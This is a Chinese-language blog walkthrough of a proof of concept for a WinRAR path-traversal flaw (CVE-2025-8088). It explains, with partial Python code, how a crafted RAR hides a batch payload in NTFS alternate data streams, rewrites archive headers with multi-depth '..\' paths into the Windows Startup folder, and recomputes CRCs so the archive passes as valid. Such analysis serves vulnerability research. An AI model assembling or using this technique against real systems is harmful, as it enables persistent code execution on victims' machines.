免责声明:本文内容仅供教育和研究目的。请勿将本信息用于任何恶意活动。
今天,我们将深入探讨一个引人入胜的路径遍历漏洞,编号为 CVE-2025-8088。该漏洞允许攻击者在受害者解压特制的 RAR 压缩包时,将任意文件写入受害者系统上的任何位置。这一特定漏洞利用之所以有趣,在于它采用了“霰弹枪”式的策略,确保无论用户在何处解压压缩包,都能成功投递载荷。
本文将详细解析所提供的 Python 概念验证代码(PoC)中用于构造恶意 .rar 文件的技术细节。
该 PoC 的最终目标经典且有效:持久化。通过利用路径遍历漏洞,该漏洞利用程序试图将载荷(payload.bat)投递到 Windows 启动文件夹(AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup)中。放置在此处的任何可执行文件或脚本都将在用户下次登录时自动运行,从而为攻击者提供持久化访问权限。
该 Python 脚本自动化了一个多步骤过程,以构建最终的 exploit.rar。让我们逐步分析其逻辑。
脚本首先准备以下组件:
payload.bat 的简单批处理文件。这就是我们想要投递到受害者机器上的恶意文件。PAYLOAD = "@echo off\necho Payload executed!\npause\n"
file1.txt、file2.txt 等)。这些文件有两个目的:使压缩包看起来合法;更重要的是,它们作为隐藏载荷的载体。def create_files() -> Tuple[List[Path], Path]:
# ...
for i in range(NUM_DEPTHS):
decoy = Path(f"{DECOY_FILE_PREFIX}{i+1}.txt")
"X" * 200)。这个占位符将被嵌入到压缩包的元数据中,稍后会被替换为恶意路径。这是该技术的关键部分。脚本没有直接使用遍历路径来命名文件,而是利用了 NTFS 文件系统的一个特性:备用数据流(Alternate Data Streams,ADS)。ADS 允许你在现有文件中“隐藏”数据。
脚本将 payload.bat 作为 ADS 附加到每个诱饵文件上。这个流的名称就是使用占位符的地方。实际上,它创建的文件路径在文件系统中看起来像这样:
file1.txt:XXXXXXXXXXXXXXXXXXXX...
payload.bat 的内容现在被秘密地存储在 file1.txt 内部。
def attach_ads(decoy: Path, placeholder: str):
"""Attach payload to decoy as Alternate Data Stream"""
ads_path = f"{decoy}:{placeholder}"
with open(ads_path, "wb") as f:
f.write(Path("payload.bat").read_bytes())
接下来,脚本在系统中找到命令行工具 Rar.exe,并使用它创建一个合法的基准压缩包(base.rar)。该压缩包包含所有诱饵文件,这些文件现在已经在备用数据流中秘密携带了载荷。
此时,base.rar 是一个完全有效且无恶意的压缩包。WinRAR 可以毫无问题地解压它,并会创建带有其长且奇怪的 ADS 名称的诱饵文件。
def create_base_rar(rar_exe: str, decoys: List[Path]) -> Path:
# ...
subprocess.run(
f'"{rar_exe}" a -ep -os "{base_rar}" {files}',
# ...
)
这就是漏洞利用变得巧妙且坚韧的地方。攻击者不知道受害者会将压缩包解压到何处。是 C:\Users\victim\Downloads?C:\?D:\Temp?
为了克服这种不确定性,脚本生成了一组不同的路径遍历字符串,每个字符串具有不同的深度:
..\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.bat..\..\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.bat..\..\..\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.bat其思路是,通过提供多个深度,至少有一个能够成功地从解压目录导航回文件系统的根目录(例如 C:\),然后进入目标启动文件夹。
def build_relative_paths() -> List[str]:
"""Generate paths with different traversal depths"""
paths = []
for depth in range(1, NUM_DEPTHS + 1):
paths.append(("..\\" * depth) + RELATIVE_DROP_PATH)
return paths
这是漏洞利用的核心。脚本以二进制模式打开 base.rar 并对其进行手术式修改。
它遍历压缩包的内部结构,查找每个文件(file1.txt、file2.txt 等)的头部。在每个头部内部,它找到占位符 ADS 名称(:XXXXXXXXXXXXXXXXXXXX...),并将其替换为上一步生成的一个恶意遍历路径。
file1.txt 的头部得到带有 ..\ 的路径。file2.txt 的头部得到带有 ..\..\ 的路径。def patch_rar(base_rar: Path, placeholder: str, relative_paths: List[str]) -> Path:
# ...
while pos + 4 <= len(data) and current_file_index < len(target_paths_utf8):
# ...
# Find the placeholder and replace it with the target path
c = patch_placeholder_in_header(hdr, placeholder_utf8, target_utf8)
# ...
仅仅修改头部数据会导致压缩包损坏。WinRAR 使用 CRC32 校验和来验证每个头部块的完整性。如果校验和与头部内容不匹配,它会报错。
PoC 考虑了这一点。在将恶意路径修补到头部后,它会重新计算整个修改后头部块的正确 CRC32 校验和,并将新的校验和写回文件中。这使得被篡改的压缩包在 WinRAR 看来仍然是完全有效的。
def rebuild_all_header_crc(buf: bytearray) -> int:
"""Recalculate CRC checksums for all headers"""
# ...
while pos + 4 <= len(buf):
# ...
# Calculate CRC for the header region
region = buf[block_start + 4:header_end]
crc = zlib.crc32(region) & 0xFFFFFFFF
# Write the new CRC back into the buffer
struct.pack_into("<I", buf, block_start, crc)
# ...